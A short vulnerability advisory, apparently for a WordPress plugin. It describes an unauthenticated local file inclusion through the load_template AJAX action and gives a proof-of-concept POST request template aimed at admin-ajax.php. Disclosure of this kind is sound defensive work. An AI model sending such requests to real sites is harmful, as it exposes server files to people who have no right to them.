Any authenticated or non-authenticated user can perform a local file
inclusion attack by exploiting the wp_ajax_nopriv_load_template action.
Plugin simply includes the file specified in 'template' POST parameter
without any further validation.

* Proof of Concept

Send a post request to
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data:
`action=load_template&template=[relative path to local
file]&security=[wp nonce]&referer=[action from which the nonce came from]`
